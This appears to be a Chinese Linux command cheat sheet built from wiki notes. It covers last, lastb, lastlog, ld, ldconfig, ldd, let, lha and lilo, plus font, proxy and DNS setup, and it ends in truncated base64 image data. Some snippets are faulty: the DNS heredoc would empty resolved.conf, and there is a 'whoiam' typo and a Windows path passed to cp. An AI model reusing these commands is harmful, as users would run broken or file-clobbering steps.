  It sends a signal to all processes except kernel threads and the processes in its own session, so it won't kill the shell that is running the script it was called from.
 Its primary (only) use is in the rc scripts found in the /etc/init.d directory.
```
</div>


!选项 
:<div>

```bash
-o omitpid #忽略pid
```
</div>



!01. 描述

:<div>

last命令用于显示用户最近登录信息。单独执行last命令,它会读取/var/log/wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。
</div>


!02. 选项 
:<div>

|!参数              |!描述|
|-a|把从何处登入系统的主机名称或ip地址,显示在最后一行 |
|-d|将IP地址转换成主机名称                             |
|-f 记录文件|指定记录文件                           |
|-n 显示列数 或 -显示列数|设置列出名单的显示列数    |
|-R|不显示登入系统的主机名称或IP地址                   |
|-x|显示系统关机,重新开机,以及执行等级的改变等信息   |

</div>
<<<
lastb命令用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于/var/log目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。
<<<


!01. 选项
:<div>

|!参数|!描述|
|-a|把从何处登入系统的主机名称或ip地址显示在最后一行|
|-d|将IP地址转换成主机名称                          |
|-f 记录文件|指定记录文件                        |
| -n 显示列数/-显示列数 |设置列出名单的显示列数 |
|-R|不显示登入系统的主机名称或IP地址                |
|-x|显示系统关机,重新开机,以及执行等级的改变等信息|

</div>


!02. TIPS
:<div>

# 第一次运行需要手动创建文件` touch /var/log/btmp`
# 不使用ssh的登录失败不会记录在btmp文件中。

</div>
!01. 描述 
:<div>

lastlog命令用于显示系统中所有用户最近一次登录信息。

lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志/var/log/lastlog的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示**Never logged**。注意需要以root身份运行该命令。
</div>

!02. 参数

:<div>

|!参数              |!描述|
|-b  天数  |显示指定天数前的登录信息|
|-h|显示召集令的帮助信息|
|-t  天数  |显示指定天数以来的登录信息|
|-u  用户名  |显示指定用户的最近登录信息|
</div>
!!简介
:<div>
ld
===

将目标文件连接为可执行程序

</div>

!! 补充说明

:<div>


"ld命令" 是GNU的连接器,将目标文件连接为可执行程序。

</div>

!! 语法  

:<div>


```
ld(选项)(参数)
ld [options] objfile ...
```

</div>

!! 选项  

:<div>


```
-o:指定输出文件名;
-e:指定程序的入口符号。
```

</div>

!! 参数  

:<div>


目标文件:指定需要连接的目标文件。

</div>

!! 实例

:<div>


这告诉ld通过将文件“/lib/crt0.o”与“hello.o”和库“libc.a”链接起来,生成一个名为output的文件,该文件将来自标准搜索目录。

```bash
ld -o <output> /lib/crt0.o hello.o -lc
ld -o output /lib/crt0.o hello.o -lc
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ldconfig
===

动态链接库管理命令

</div>

!! 补充说明

:<div>


"ldconfig命令" 的用途主要是在默认搜寻目录`/lib`和`/usr/lib`以及动态库配置文件`/etc/ld.so.conf`内所列的目录下,搜索出可共享的动态链接库(格式如lib*.so*),进而创建出动态装入程序(ld.so)所需的连接和缓存文件。缓存文件默认为`/etc/ld.so.cache`,此文件保存已排好序的动态链接库名字列表,为了让动态链接库为系统所共享,需运行动态链接库的管理命令ldconfig,此执行程序存放在`/sbin`目录下。

ldconfig通常在系统启动时运行,而当用户安装了一个新的动态链接库时,就需要手工运行这个命令。

</div>

!! 语法  

:<div>


```
ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|--print-cache] [-c FORMAT] [--format=FORMAT] [-V] -?|--[help|--usage] path... 
```

</div>

!! 选项  

:<div>


```
-v或--verbose:用此选项时,ldconfig将显示正在扫描的目录及搜索到的动态链接库,还有它所创建的连接的名字。
-n:用此选项时,ldconfig仅扫描命令行指定的目录,不扫描默认目录(/lib、/usr/lib),也不扫描配置文件/etc/ld.so.conf所列的目录。
-N:此选项指示ldconfig不重建缓存文件(/etc/ld.so.cache),若未用-X选项,ldconfig照常更新文件的连接。
-X:此选项指示ldconfig不更新文件的连接,若未用-N选项,则缓存文件正常更新。
-f CONF:此选项指定动态链接库的配置文件为CONF,系统默认为/etc/ld.so.conf。
-C CACHE:此选项指定生成的缓存文件为CACHE,系统默认的是/etc/ld.so.cache,此文件存放已排好序的可共享的动态链接库的列表。
-r ROOT:此选项改变应用程序的根目录为ROOT(是调用chroot函数实现的)。选择此项时,系统默认的配置文件/etc/ld.so.conf,实际对应的为ROOT/etc/ld.so.conf。如用-r /usr/zzz时,打开配置文件/etc/ld.so.conf时,实际打开的是/usr/zzz/etc/ld.so.conf文件。用此选项,可以大大增加动态链接库管理的灵活性。
-l:通常情况下,ldconfig搜索动态链接库时将自动建立动态链接库的连接,选择此项时,将进入专家模式,需要手工设置连接,一般用户不用此项。
-p或--print-cache:此选项指示ldconfig打印出当前缓存文件所保存的所有共享库的名字。
-c FORMAT 或 --format=FORMAT:此选项用于指定缓存文件所使用的格式,共有三种:old(老格式),new(新格式)和compat(兼容格式,此为默认格式)。
-V:此选项打印出ldconfig的版本信息,而后退出。
-? 或 --help 或 --usage:这三个选项作用相同,都是让ldconfig打印出其帮助信息,而后退出。
```

 "ldconfig几个需要注意的地方:" 

1.  往`/lib`和`/usr/lib`里面加东西,是不用修改`/etc/ld.so.conf`的,但是完了之后要调一下ldconfig,不然这个library会找不到。
2.  想往上面两个目录以外加东西的时候,一定要修改`/etc/ld.so.conf`,然后再调用ldconfig,不然也会找不到。
3.  比如安装了一个mysql到`/usr/local/mysql`,mysql有一大堆library在`/usr/local/mysql/lib`下面,这时就需要在`/etc/ld.so.conf`下面加一行`/usr/local/mysql/lib`,保存过后ldconfig一下,新的library才能在程序运行时被找到。
4.  如果想在这两个目录以外放lib,但是又不想在`/etc/ld.so.conf`中加东西(或者是没有权限加东西)。那也可以,就是export一个全局变量LD_LIBRARY_PATH,然后运行程序的时候就会去这个目录中找library。一般来讲这只是一种临时的解决方案,在没有权限或临时需要的时候使用。
5.  ldconfig做的这些东西都与运行程序时有关,跟编译时一点关系都没有。编译的时候还是该加-L就得加,不要混淆了。
6.  总之,就是不管做了什么关于library的变动后,最好都ldconfig一下,不然会出现一些意想不到的结果。不会花太多的时间,但是会省很多的事。
7.  再有,诸如libdb-4.3.so文件头中是会含有库名相关的信息的(即含“libdb-4.3.so”,可用strings命令察看),因此仅通过修改文件名以冒充某已被识别的库(如libdb-4.8.so)是行不通的。为此可在编译库的Makefile中直接修改配置信息,指定特别的库名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ldd
===

打印程序或者库文件所依赖的共享库列表

</div>

!! 补充说明

:<div>


"ldd命令" 用于打印程序或者库文件所依赖的共享库列表。

</div>

!! 语法  

:<div>


```
ldd(选项)(参数)
```

</div>

!! 选项  

:<div>


```
--version:打印指令版本号;
-v:详细信息模式,打印所有相关信息;
-u:打印未使用的直接依赖;
-d:执行重定位和报告任何丢失的对象;
-r:执行数据对象和函数的重定位,并且报告任何丢失的对象和函数;
--help:显示帮助信息。
```

</div>

!! 参数  

:<div>


文件:指定可执行程序或者文库。

</div>

!! 其他介绍  

:<div>


首先ldd不是一个可执行程序,而只是一个shell脚本

ldd能够显示可执行模块的dependency,其原理是通过设置一系列的环境变量,如下:`LD_TRACE_LOADED_OBJECTS、LD_WARN、LD_BIND_NOW、LD_LIBRARY_VERSION、LD_VERBOSE`等。当`LD_TRACE_LOADED_OBJECTS`环境变量不为空时,任何可执行程序在运行时,它都会只显示模块的dependency,而程序并不真正执行。要不你可以在shell终端测试一下,如下:

```
export LD_TRACE_LOADED_OBJECTS=1
```

再执行任何的程序,如ls等,看看程序的运行结果。

ldd显示可执行模块的dependency的工作原理,其实质是通过ld-linux.so(elf动态库的装载器)来实现的。我们知道,ld-linux.so模块会先于executable模块程序工作,并获得控制权,因此当上述的那些环境变量被设置时,ld-linux.so选择了显示可执行模块的dependency。

实际上可以直接执行ld-linux.so模块,如:`/lib/ld-linux.so.2 --list program`(这相当于ldd program)


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```bash
# 查看压缩包
less tet.tar.gz

```
!快捷键
    * 用`PageUp`键向上翻页,
    *用`PageDown`键向下翻页。
    * 退出less程序,应按`Q`键。

!选项
    * -e:文件内容显示完毕后,自动退出;
    * -f:强制显示文件;
    * -g:不加亮显示搜索到的所有关键词,仅显示当前显示的关键字,以提高显示速度;
    * -l:搜索时忽略大小写的差异;
    * -N:每一行行首显示行号;
    * -s:将连续多个空行压缩成一行显示;
    * -S:在单行显示较长的内容,而不换行显示;
    * -x<数字>:将TAB字符显示为指定个数的空格字符。
!!简介
:<div>
let
===

简单的计算器

</div>

!! 补充说明

:<div>


"let命令" 是bash中用于计算的工具,提供常用运算符还提供了方幂`"`运算符。在变量的房屋计算中不需要加上`$`来表示变量,如果表达式的值是非0,那么返回的状态值是0;否则,返回的状态值是1。

</div>

!! 语法  

:<div>


```
let arg [arg ...]    #arg代表运算式
```

</div>

!! 用法  

:<div>


自加操作`let no++`  
自减操作`let no--`  
简写形式`let no+=10`,`let no-=20`,分别等同于`let no=no+10,``let no=no-20`

</div>

!! 实例  

:<div>


```
#!/bin/bash
let a=5+4 b=9-3
echo $a $b
```

```
#!/bin/bash
let "t1 = ((a = 5 + 3, b = 7 - 1, c = 15 - 4))"
echo "t1 = $t1, a = $a, b = $b"
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

''lftpget''命令通过调用lftp指令下载指定的文件。

!语法

```
lftpget  (选项)  (参数)
```
!选项

```
-c:继续先前的下载;
-d:输出调试信息;
-v:输出详细信息。
```
!!简介
:<div>
lha
===

压缩或解压缩lzh格式文件

</div>

!! 补充说明

:<div>


"lha命令" 是从lharc演变而来的压缩程序,文件经它压缩后,会另外产生具有`.lzh`扩展名的压缩文件。

</div>

!! 选项  

:<div>


```
-a或a:压缩文件,并加入到压缩文件内。
-a<0/1/2>/u</0/1/2>   压缩文件时,采用不同的文件头。
-c或c:压缩文件,重新建构新的压缩文件后,再将其加入。
-d或d:从压缩文件内删除指定的文件。
-<a/c/u>d或<a/c/u>d:压缩文件,然后将其加入,重新建构,更新压缩文件或,删除原始文件,也就是把文件移到压缩文件中。
-e或e:解开压缩文件。
-f或f:强制执行lha命令,在解压时会直接覆盖已有的文件而不加以询问。
-g或g:使用通用的压缩格式,便于解决兼容性的问题。
-<e/x>i或<e/x>i:解开压缩文件时,忽略保存在压缩文件内的文件路径,直接将其解压后存放在现行目录下或是指定的目录中。
-l或l:列出压缩文件的相关信息。
-m或m:此选项的效果和同时指定"-ad"选项相同。
-n或n:不执行指令,仅列出实际执行会进行的动作。
-<a/u>o或<a/u>o:采用lharc兼容格式,将压缩后的文件加入,更新压缩文件。
-p或p:从压缩文件内输出到标准输出设备。
-q或q:不显示指令执行过程。
-t或t:检查备份文件内的每个文件是否正确无误。
-u或u:更换较新的文件到压缩文件内。
-u</0/1/2>或u</0/1/2>:在文件压缩时采用不同的文件头,然后更新到压缩文件内。
-v或v:详细列出压缩文件的相关信息。
-<e/x>w=<目的目录>或<e/x>w=<目的目录>:指定解压缩的目录。
-x或x:解开压缩文件。
-<a/u>z或<a/u>z:不压缩文件,直接把它加入,更新压缩文件。
```

</div>

!! 实例  

:<div>


```
lha -a abc.lhz a.b         #压缩a.b文件,压缩后生成 abc.lhz 文件
lha -a abc2 /home/hnlinux  #压缩目录
lha -xiw=agis abc          #解压文件abc,到当前目录
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lilo
===

安装核心载入开机管理程序

</div>

!! 补充说明

:<div>


"lilo命令" 用于安装核心载入,开机管理程序。lilo是个Linux系统核心载入程序,同时具备管理开机的功能。单独执行lilo指令,它会读取/etc/lilo.conf配置文件,然后根据其内容安装lilo。

Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个 较老的/最老的 Linux 引导加载程序,它那不断壮大的 Linux 社区支持使它能够随时间的推移而发展,并始终能够充当一个可用的现代引导加载程序。有一些新的功能,比如增强的用户界面,以及对能够突破原来 1024-柱面限制的新 BIOS 功能的利用。

虽然 LILO 仍在不断地发展,但 LILO 工作原理的基本概念保持不变。

</div>

!! 语法  

:<div>


```
lilo(选项)
```

</div>

!! 选项  

:<div>


```
-b<外围设备代号>:指定安装lilo之处的外围设备代号;
-c:使用紧致映射模式;
-C<配置文件>:指定lilo的配置文件;
-d<延迟时间>:设置开机延迟时间;
-D<识别标签>:指定开机后预设启动的操作系统,或系统核心识别标签;
-f<几何参数文件>:指定磁盘的几何参数配置文件;
-i<开机磁区文件>:指定欲使用的开机磁区文件,预设是/boot目录里的boot.b文件;
-I<识别标签>:显示系统核心存放之处;
-l:产生线形磁区地址;
-m<映射文件>:指定映射文件;
-P<fix/ignore>:决定要修复或忽略分区表的错误;
-q:列出映射的系统核心文件;
-r<根目录>:设置系统启动时欲挂入成为根目录的目录;
-R<执行指令>:设置下次启动系统时,首先执行的指令;
-s<备份文件>:指定备份文件;
-S<备份文件>:强制指定备份文件;
-t:不执行指令,仅列出实际执行会进行的动作;
-u<外围色设备代号>:删除lilo;
-U<外围设备代号>:此选项的效果和指定"-u"参数类似,当不检查时间戳记;
-v:显示指令执行过程;
-V:显示版本信息。
```

</div>

!! 实例  

:<div>


 "使用 LILO 作为引导加载程序" 

要使用 LILO 作为引导加载程序,需要做的事情取决于是要进行全新安装还是要让已经安装的 Linux 改为使用 LILO。如果是要进行全新安装,那么直接跳转到 配置 LILO 那一节。如果已经安装了某个 Linux 发行版,那么通常可以选择安装并配置 LILO(并可以将机器引导到新的 Linux 安装)。

要将现有的 Linux 迁移到 LILO,首先必须获得最新版本的 LILO(见 参考资料)。在做任何其他事情之前,建议您确保在手边拥有一张 Linux 引导盘 —— 如果偶而弄错了某些地方,它可以提供很大的帮助,能够恢复到初始的 Linux 配置!将 LILO 安装到系统中之后,让它接管 MBR 非常简单。以 root 用户身份输入:

```
/sbin/lilo -v -v
```

这将使用当前的 LILO 默认值,抹去 MBR 中当前所有内容。不过,请阅读 配置 LILO,以确保能够按预期引导起来。也要注意,如果想要在同一机器上运行 Windows 和 Linux,那么应该先安装 Windows OS,然后再安装 Linux OS,这样,在 Linux 安装中所选择的引导加载程序就不会被 Windows 引导加载程序所覆盖。与 Linux 引导加载程序不同,多数 Window 引导加载程序不支持引导 Linux。如果已经先安装了 Linux,那么只需要自己创建一张 Linux 引导盘,这样就可以在安装完 Windows 之后,回到 Linux 安装中并重写 MBR。

 "配置 LILO" 

LILO 的配置都是通过位于 /etc/lilo.conf 的一个配置文件来完成的。清单 1 给出了一个示例配置,使用的是我的家用机器,支持 Linux 和 Windows 机器的双重引导。了解我的工作站的基本配置,就可以想像出这些配置是如何与实际机器相关联的:

主 HDD(物理磁盘 1)上安装了 Windows XP(最初机器上只有它)。在 Linux 术语中,这个 HDD 是 /dev/hda(在 grub 术语中是 hd0,0)。

从 HDD(物理磁盘 2)上安装了 Red Hat Linux;root 分区位于这个硬盘驱动器的第三个分区,即 /dev/hdb3(在 GRUB 术语中是 hd1,3)。

lilo.conf 示例文件:

```
boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
timeout=100
compact
default=Linux
image=/boot/vmlinuz-2.4.18-14
	label=Linux
	root=/dev/hdb3
	read-only
	password=linux
other=/dev/hda
	label=WindowsXP
```

配置文件选项说明:

*   boot= 行告诉 LILO 在哪里安装引导加载程序。在上面的示例中,将把它安装到第一块硬盘的 MBR。也可以选择将 LILO 安装到 /dev/hdb3(示例中的 Linux 分区),这样需要向 /dev/hda 安装另一个引导加载程序,并令其指向 LILO 引导加载程序;然后只需要让 LILO 作为二级引导加载程序。通常,引导加载程序应该位于 /dev/hda。还可以将这个参数指向软盘驱动器(最常见的是 /dev/fd0),来制做 LILO 软盘引导磁盘。
*   map= 指向引导期间 LILO 内部使用的映射文件。当使用 /sbin/lilo 命令安装 LILO 时, 它会自动生成这个文件,其中包含有描述符表(还有其他内容)。建议不要改动这个文件!
*   install= 是 LILO 在引导过程中内部使用的文件之一。它同时包含有引导加载程序的主要部分和二级部分。boot.b 文件的 一个片段被写入到 MBR(引导加载程序的主要部分),它会指向那个映射,接下来指向二级引导加载程序。同样,不要改动它!
*   prompt= 告诉 LILO 使用用户界面(本例中给出了两个选择 —— Linux 和 WindowsXP)。除了使用 prompt/user 界面以外,在适当情况下还可以为 Linux 内核等指定具体的参数。如果不在配置文件中指定此选项,那么 LILO 将引导到 默认的 OS,不发生任何用户交互,也不会等待。(但是请注意,如果在引导时按下了 SHIFT,那么还是可以得到提示,当不想把 引导加载程序暴露给普通用户时,这非常有用)。
*   timeout= 是引导提示在自动引导默认 OS(本例中是 Linux)之前的等待时间(以十分之一秒为单位)。 如果在 lilo.conf 没有指定 prompt,那么这个参数就会被忽略。
*   compact 选项可以大大加速引导过程,它会将连续的读磁盘的请求合并为一个单独的请求。不过,这可能是 一件祸福参半的事情,因为我在论坛上看到过很多贴子提到了关于此选项的问题。当希望从软盘引导时,这个选项尤其有用。
*   default= 选项告诉 LILO 默认使用哪个映像进行引导,比如在等待超时之后。这与 lilo.conf 文件中的某个映像的 标签相关联。如果没有在配置文件中指定此选项,那么它将引导文件中指定的第一个映像。
*   对于允许用户引导到的每一个 Linux 版本,都应该指定 image= 及以下三个选项。image 选项指定希望 引导到的内核版本。
*   label= 标明了在运行期间希望能够从用户界面引导的不同 OS。另外,这个标签用于指定引导的默认 OS。 (注意:标签名称中避免出现空格;否则,引导那个文件时会出现无法预期的错误。)
*   root= 告诉 LILO OS 文件系统实际所在的位置。在我们的示例中为 /dev/hdb3,即第二块硬盘上的第三个分区。
*   read-only 告诉 LILO 以只读的方式初始引导到文件系统。OS 一旦完全引导起来,就会以读写方式挂载。
*   password= 允许您为将要引导到的特定 OS 设置口令。不幸的是,这个口令是以可读文本的方式保存在 lilo.conf 文件中,所以,所有人都能够读取它。如果需要,还可以对想要引导自的每个操作系统设置口令(在我们的示例中,只为 Linux 的引导 设置了一个口令)。
*   other= 的动作类似于 image 和 root 选项的组合,但是用于除了 Linux 以外的其他操作系统。 在我们的示例中,它告诉 LILO 到哪里去找到 Windows OS(位于第一块硬盘的第一个分区)。如果先安装 Windows,后安装 Linux,通常会是这样。
*   label= 与所有其他 label 选项相同。

在 lilo.conf 文件中可以使用很多其他参数,不过清单 1 中的参数就足以让机器可用了。要获得关于 lilo.conf 的这些以及其他参数的 进一步资料,请参考手册页(man lilo.conf)。由于在引导时不会读取 lilo.conf,所以,当这个文件有改动时,需要“更新”MBR。 如果不完成此步骤就重新引导,那么对 lilo.conf 的修改不会在启动中反映出来。与先前将 LILO 写入 MBR 类似,需要运行:

```
/sbin/lilo -v -v
```

`-v -v`标记会为您给出非常详细的输出。当像我们那样运行 LILO 时,有很多参数可以指定。 参阅手册页以获得更进一步的信息(man lilo)。

 "初始引导过程" 

当 LILO 初始引导时,它会按次序打印出每个字母 —— L-I-L-O。如果所有字母都显示出来,那么第一阶段引导就成功了。缺少任何内容 都表示出现了问题:

L:第一阶段引导加载程序已经被加载。如果 LILO 停止在这里,那么是在引导第二阶段引导加载程序时出现了问题。这通常会伴随有一个错误代码。 在这个阶段的常见问题是介质问题,或者在 lilo.conf 文件中指定了不正确的磁盘参数。

LI:第二阶段引导加载程序已经被加载。LILO 在此处停止表示第二阶段引导加载程序不能被执行。同样,这可能是因为出现了与只显示 L 类似的问题: 正在加载,或者因 boot.b 文件被破坏、移动或删除而不能加载。

LIL:第二阶段引导加载程序正在被执行。此时,可能会再次出现介质问题,或者映射文件(如 lilo.conf 文件中所指定的)在寻找描述符表时 可能会出现问题。

LIL?:加载到与上面相同的阶段。这通常意味着加载第二阶段引导加载程序使用了错误的地址,最常见的原因是 boot.b 所在的位置与 lilo.conf 文件所指定的不同。

LIL-:加载到与上面相同的阶段。加载描述符表时出现问题,最常见的原因是描述符表错误。

LILO:LILO 成功被加载,没有出现任何错误。

 "引导时的附加配置" 

LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例 lilo.conf 文件,此时将有两个选择,可能对 LILO 新手来说并不直观。首先,可以 让 LILO 超时(10 秒后),这将引导`/dev/hdb3`,即 Linux 分区。另外,可以按下 TAB 键,这将列出将要引导的操作系统选项。在我们的示例 lilo.conf 中, 将得到的选项是 “Linux” 和 “Windows”。输入哪一个,就会引导到哪个 OS。指定加载 Linux 选项,会提示输入一个口令,在本例中是 linux。如果输入的口令有误,则会返回 LILO 提示符。

不幸的是,LILO 不支持引导期间的交互式配置,所以,只能在 lilo.conf 中或者运行`/sbin/lilo`时指定选项。

关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用`boot=/dev/fd0`替换`boot=/dev/hda`。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回`boot=/dev/hda`,然后最后一次运行`/sbin/lilo`来上传修改。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;浏览器
Linux主流发行版三大分支:Debian、Slackware、Redhat.

Debian系列:

Ubuntu
Debian
Slackware系列:

S.u.S.E
Redhat系列:

RHEL
CentOS
Fedora Core
除此之外还有Gentoo、ArchLinux等。
;安装字体

:<div>

```bash
mkdir /usr/share/fonts/chinese

cp c:\Windows\Fonts\{msyh.ttc,msyhbd.ttc,simkai.ttf,simsun.ttc,simhei.ttf,simfang.ttf,simsunb.ttf} /usr/share/fonts/chinese
cd /usr/share/fonts/chinese

mkfontscale

mkfontdir
# 检查字体
fc-list
```
</div>


;删除字体

:<div>

```bash
#删除系统自带字体
apt remove fonts-arphic-ukai fonts-arphic-uming
#更新字体
sudo fc-cache -fv 
```
</div>

;soft

:<div>

```bash
#输入法
sudo apt install rime ibus-rime fcitx-rime
sudo apt install ibus-clutter ibus-doc ibus-qt4 librime-data-bopomofo
#system
sudo apt install htop bmon 
#编辑器
sudo apt install vim
#终端
sudo apt install lxterminal guake tmux Tilix Terminator
#FS
sudo apt-get install  tree ncdu 
# 控制台截图
sudo apt install fbcat
fbcat > test.ppm
#pkg manager
sudo apt install linuxbrew-wrapper
#history
brew tap cantino/mcfly https://github.com/cantino/mcfly
brew install mcfly
# 救援模式
#     开机按ESC
#     按E键编辑
#     引导项加1或single
#     F10启动引导
```
</div>

!! 控制台
:<div>

;字体

```bash
# get help
man console-setup
# setup
# 更改字体
sudo dpkg-reconfigure console-setup
# 使更改生效
setupcon
# 查看当前所用字体的字符集
showconsolefont 
#systemd
vim /etc/vconsole.conf 
#中文支持
apt install zhcon
adduser $(whoiam) video
zhcon --utf8 --drv=fb
```
</div>

!! 代理
:<div>

`友情提示: 使用代理请遵守当地相关法律 .`

```bash
sudo apt install shadowsocks
sslocal -s ${server_ip} -p ${server_port} -k ${passwd} -m aes-256-cfb -t 5 -l ${local_port}
chromium-browser --proxy-server="socks5://127.0.0.1:${local_port}"
```

```
https://hub.docker.com/r/shadowsocks/shadowsocks-libev
```
</div>


!! DNS
:<div>

```bash
echo > /etc/systemd/resolved.conf <-EOF

[Resolve]
DNS=223.5.5.5 223.6.6.6
FallbackDNS=
#Domains=
LLMNR=no
#MulticastDNS=no
#DNSSEC=no
#Cache=yes
#DNSStubListener=yes
EOF

apt install resolvconf
systemd-resolve --flush-caches
systemd-resolve status

```
</div>
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